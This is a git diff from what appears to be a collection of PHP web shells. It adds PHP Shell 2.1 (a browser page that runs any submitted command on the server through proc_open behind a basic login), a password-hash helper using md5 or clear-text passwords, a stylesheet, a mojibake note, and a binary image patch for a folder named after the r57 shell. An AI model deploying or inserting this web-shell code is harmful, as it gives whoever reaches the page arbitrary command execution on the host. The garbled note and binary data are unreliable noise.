session data if the user requested a logout. This leaves the + * session cookie at the user, but this is not important since we + * authenticates on $_SESSION['authenticated']. */ +if (isset($_POST['logout'])) + logout(); + +/* Attempt authentication. */ +if (isset($_SESSION['nounce']) && $nounce == $_SESSION['nounce'] && + isset($ini['users'][$username])) { + if (strchr($ini['users'][$username], ':') === false) { + // No seperator found, assume this is a password in clear text. + $_SESSION['authenticated'] = ($ini['users'][$username] == $password); + } else { + list($fkt, $salt, $hash) = explode(':', $ini['users'][$username]); + $_SESSION['authenticated'] = ($fkt($salt . $password) == $hash); + } +} + + +/* Enforce default non-authenticated state if the above code didn't set it + * already. */ +if (!isset($_SESSION['authenticated'])) + $_SESSION['authenticated'] = false; + + +if ($_SESSION['authenticated']) { + /* Initialize the session variables. */ + if (empty($_SESSION['cwd'])) { + $_SESSION['cwd'] = realpath($ini['settings']['home-directory']); + $_SESSION['history'] = array(); + $_SESSION['output'] = ''; + } + + if (!empty($command)) { + /* Save the command for late use in the JavaScript. If the command is + * already in the history, then the old entry is removed before the + * new entry is put into the list at the front. */ + if (($i = array_search($command, $_SESSION['history'])) !== false) + unset($_SESSION['history'][$i]); + + array_unshift($_SESSION['history'], $command); + + /* Now append the commmand to the output. */ + $_SESSION['output'] .= '$ ' . $command . "\n"; + + /* Initialize the current working directory. */ + if (ereg('^[[:blank:]]*cd[[:blank:]]*$', $command)) { + $_SESSION['cwd'] = realpath($ini['settings']['home-directory']); + } elseif (ereg('^[[:blank:]]*cd[[:blank:]]+([^;]+)$', $command, $regs)) { + /* The current command is a 'cd' command which we have to handle + * as an internal shell command. */ + + if ($regs[1]{0} == '/') { + /* Absolute path, we use it unchanged. */ + $new_dir = $regs[1]; + } else { + /* Relative path, we append it to the current working + * directory. */ + $new_dir = $_SESSION['cwd'] . '/' . $regs[1]; + } + + /* Transform '/./' into '/' */ + while (strpos($new_dir, '/./') !== false) + $new_dir = str_replace('/./', '/', $new_dir); + + /* Transform '//' into '/' */ + while (strpos($new_dir, '//') !== false) + $new_dir = str_replace('//', '/', $new_dir); + + /* Transform 'x/..' into '' */ + while (preg_match('|/\.\.(?!\.)|', $new_dir)) + $new_dir = preg_replace('|/?[^/]+/\.\.(?!\.)|', '', $new_dir); + + if ($new_dir == '') $new_dir = '/'; + + /* Try to change directory. */ + if (@chdir($new_dir)) { + $_SESSION['cwd'] = $new_dir; + } else { + $_SESSION['output'] .= "cd: could not change to: $new_dir\n"; + } + + } elseif (trim($command) == 'exit') { + logout(); + } else { + + /* The command is not an internal command, so we execute it after + * changing the directory and save the output. */ + chdir($_SESSION['cwd']); + + // We canot use putenv() in safe mode. + if (!ini_get('safe_mode')) { + // Advice programs (ls for example) of the terminal size. + putenv('ROWS=' . $rows); + putenv('COLUMNS=' . $columns); + } + + /* Alias expansion. */ + $length = strcspn($command, " \t"); + $token = substr($command, 0, $length); + if (isset($ini['aliases'][$token])) + $command = $ini['aliases'][$token] . substr($command, $length); + + $io = array(); + $p = proc_open($command, + array(1 => array('pipe', 'w'), + 2 => array('pipe', 'w')), + $io); + + /* Read output sent to stdout. */ + while (!feof($io[1])) { + $_SESSION['output'] .= htmlspecialchars(fgets($io[1]), + ENT_COMPAT, 'UTF-8'); + } + /* Read output sent to stderr. */ + while (!feof($io[2])) { + $_SESSION['output'] .= htmlspecialchars(fgets($io[2]), + ENT_COMPAT, 'UTF-8'); + } + + fclose($io[1]); + fclose($io[2]); + proc_close($p); + } + } + + /* Build the command history for use in the JavaScript */ + if (empty($_SESSION['history'])) { + $js_command_hist = '""'; + } else { + $escaped = array_map('addslashes', $_SESSION['history']); + $js_command_hist = '"", "' . implode('", "', $escaped) . '"'; + } +} + +?> +<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN" + "http://www.w3.org/TR/html4/strict.dtd"> +<html> +<head> + <title>PHP Shell 2.1</title> + <link rel="stylesheet" href="style.css" type="text/css"> + + <script type="text/javascript"> + <?php if ($_SESSION['authenticated']) { ?> + + var current_line = 0; + var command_hist = new Array(<?php echo $js_command_hist ?>); + var last = 0; + + function key(e) { + if (!e) var e = window.event; + + if (e.keyCode == 38 && current_line < command_hist.length-1) { + command_hist[current_line] = document.shell.command.value; + current_line++; + document.shell.command.value = command_hist[current_line]; + } + + if (e.keyCode == 40 && current_line > 0) { + command_hist[current_line] = document.shell.command.value; + current_line--; + document.shell.command.value = command_hist[current_line]; + } + + } + + function init() { + document.shell.setAttribute("autocomplete", "off"); + document.shell.output.scrollTop = document.shell.output.scrollHeight; + document.shell.command.focus(); + } + + <?php } else { ?> + + function init() { + document.shell.username.focus(); + } + + <?php } ?> + </script> +</head> + +<body onload="init()"> + +<h1>PHP Shell 2.1</h1> + +<form name="shell" action="<?php echo $_SERVER['PHP_SELF'] ?>" method="post"> + +<?php +if (!$_SESSION['authenticated']) { + /* Genereate a new nounce every time we preent the login page. This binds + * each login to a unique hit on the server and prevents the simple replay + * attack where one uses the back button in the browser to replay the POST + * data from a login. */ + $_SESSION['nounce'] = mt_rand(); + +?> + +<fieldset> + <legend>Authentication</legend> + + <?php + if (!empty($username)) + echo ' <p class="error">Login failed, please try again:</p>' . "\n"; + else + echo " <p>Please login:</p>\n"; + ?> + + <p>Username: <input name="username" type="text" value="<?php echo $username + ?>"></p> + + <p>Password: <input name="password" type="password"></p> + + <p><input type="submit" value="Login"></p> + + <input name="nounce" type="hidden" value="<?php echo $_SESSION['nounce']; ?>"> + +</fieldset> + +<?php } else { /* Authenticated. */ ?> + +<fieldset> + <legend>Current Working Directory: <code><?php + echo htmlspecialchars($_SESSION['cwd'], ENT_COMPAT, 'UTF-8'); + ?></code></legend> + + +<div id="terminal"> +<textarea name="output" readonly="readonly" cols="<?php echo $columns ?>" rows="<?php echo $rows ?>"> +<?php +$lines = substr_count($_SESSION['output'], "\n"); +$padding = str_repeat("\n", max(0, $rows+1 - $lines)); +echo rtrim($padding . $_SESSION['output']); +?> +</textarea> +<p id="prompt"> + $&nbsp;<input name="command" type="text" + onkeyup="key(event)" size="<?php echo $columns-2 ?>" tabindex="1"> +</p> +</div> + +<p> + <span style="float: right">Size: <input type="text" name="rows" size="2" + maxlength="3" value="<?php echo $rows ?>"> &times; <input type="text" + name="columns" size="2" maxlength="3" value="<?php echo $columns + ?>"></span> + +<input type="submit" value="Execute Command"> + <input type="submit" name="logout" value="Logout"> +</p> + +</fieldset> + +<?php } ?> + +</form> + + +<hr> + +<p>Please consult the <a href="README">README</a>, <a +href="INSTALL">INSTALL</a>, and <a href="SECURITY">SECURITY</a> files for +instruction on how to use PHP Shell.</p> + +<hr> + +<address> +Copyright &copy; 2000&ndash;2005, <a +href="mailto:mgeisler@mgeisler.net">Martin Geisler</a>. Get the +latest version at <a +href="http://mgeisler.net/php-shell/">mgeisler.net/php-shell/</a>. +</address> + +</body> +</html> diff --git a/php/PHPshell/【phpshell-2.1】/pwhash.php b/php/PHPshell/【phpshell-2.1】/pwhash.php new file mode 100644 index 0000000..e45ee15 --- /dev/null +++ b/php/PHPshell/【phpshell-2.1】/pwhash.php @@ -0,0 +1,100 @@ +<?php +/* + * pwhash.php file for PHP Shell 2.1 + * Copyright (C) 2005 Martin Geisler <mgeisler@mgeisler.net> + * Licensed under the GNU GPL. See the file COPYING for details. + */ + +function stripslashes_deep($value) { + if (is_array($value)) + return array_map('stripslashes_deep', $value); + else + return stripslashes($value); +} + +if (get_magic_quotes_gpc()) + $_POST = stripslashes_deep($_POST); + +$username = isset($_POST['username']) ? $_POST['username'] : ''; +$password = isset($_POST['password']) ? $_POST['password'] : ''; + +?> +<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN" + "http://www.w3.org/TR/html4/strict.dtd"> +<html> +<head> + <title>Password Hasher for PHP Shell 2.1</title> + <link rel="stylesheet" href="style.css" type="text/css"> +</head> + +<body> + +<h1>Password Hasher for PHP Shell 2.1</h1> + +<form action="<?php $_SERVER['PHP_SELF']; ?>" method="POST"> + +<fieldset> + <legend>Username</legend> + <input name="username" type="text" value="<?php echo $username ?>"> +</fieldset> + +<fieldset> + <legend>Password</legend> + <input name="password" type="text" value="<?php echo $password ?>"> +</fieldset> + +<fieldset> + <legend>Result</legend> + +<?php +if ($username == '' || $password == '') { + echo " <p><i>Enter a username and a password and update.</i></p>\n"; +} else { + + $u = strtolower($username); + + if (preg_match('/[[ |&~!()]/', $u) || $u == 'null' || + $u == 'yes' || $u == 'no' || $u == 'true' || $u == 'false') { + + echo ' <p class="error">Your username cannot contain any of the following reserved + word: "<tt>null</tt>", "<tt>yes</tt>", "<tt>no</tt>", "<tt>true</tt>", or + "<tt>false</tt>". The following characters are also prohibited: + "<tt>&nbsp;</tt>" (space), "<tt>[</tt>" (left bracket), "<tt>|</tt>" (pipe), + "<tt>&</tt>" (ampersand), "<tt>~</tt>" (tilde), "<tt>!</tt>" (exclamation + mark), "<tt>(</tt>" (left parenthesis), or "<tt>)</tt>" (right + parenthesis).</p>' . "\n"; + + echo ' <p>Please choose another username and try again.</p>' . "\n"; + + } else { + echo " <p>Write the following line into <tt>config.php</tt> " . + "in the <tt>users</tt> section:</p>\n"; + + $fkt = 'md5'; // Change to sha1 is you feel like it... + $salt = dechex(mt_rand()); + + $hash = $fkt . ':' . $salt . ':' . $fkt($salt . $password); + + echo "<pre>\n"; + echo htmlentities(str_pad($username, 8) . ' = "' . $hash . '"') . "\n"; + echo "</pre>\n"; + } +} +?> + +<p><input type="submit" value="Update"></p> + +</fieldset> + +</form> + + +<hr> + +<address> +Copyright &copy; 2005, <a href="mailto:mgeisler@mgeisler.net">Martin Geisler</a>. Get the +latest version at <a href="http://mgeisler.net/php-shell/">mgeisler.net/php-shell/</a>. +</address> + +</body> +</html> diff --git a/php/PHPshell/【phpshell-2.1】/style.css b/php/PHPshell/【phpshell-2.1】/style.css new file mode 100644 index 0000000..49ccbe5 --- /dev/null +++ b/php/PHPshell/【phpshell-2.1】/style.css @@ -0,0 +1,58 @@ +/* style.css file for PHP Shell 2.1 + * Copyright (C) 2003-2005 Martin Geisler <mgeisler@mgeisler.net> + * Licensed under the GNU GPL. See the file COPYING for details. + */ + +body { + font-family: sans-serif; + color: black; + background: white; +} + +h1 { + color: red; + background: white; +} + +img { + border: none; +} + +div#terminal { + border: inset 2px red; + padding: 2px; + margin-top: 0.5em; +} + +div#terminal textarea { + font-size: 100%; + width: 100%; + border: none; +} + +p { + margin-top: 0.5em; + margin-bottom: 0.5em; +} + +p#prompt { + font-family: monospace; + margin: 0px; +} + +p#prompt input { + border: none; + font-family: monospace; +} + +legend { + padding-right: 0.5em; +} + +fieldset { + padding: 0.5em; +} + +.error { + color: red; +} \ No newline at end of file diff --git a/php/PHPshell/【phpshell-2.1】/备注.txt b/php/PHPshell/【phpshell-2.1】/备注.txt new file mode 100644 index 0000000..1e5ff05 --- /dev/null +++ b/php/PHPshell/【phpshell-2.1】/备注.txt @@ -0,0 +1 @@ +轫ļϴſʹ diff --git a/php/PHPshell/【r57_Mohajer22】/r57_Mohajer22.jpg b/php/PHPshell/【r57_Mohajer22】/r57_Mohajer22.jpg new file mode 100644 index 0000000000000000000000000000000000000000..26e996df577c96243b5c093644aedc20bc5b5aab GIT binary patch literal 111760 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 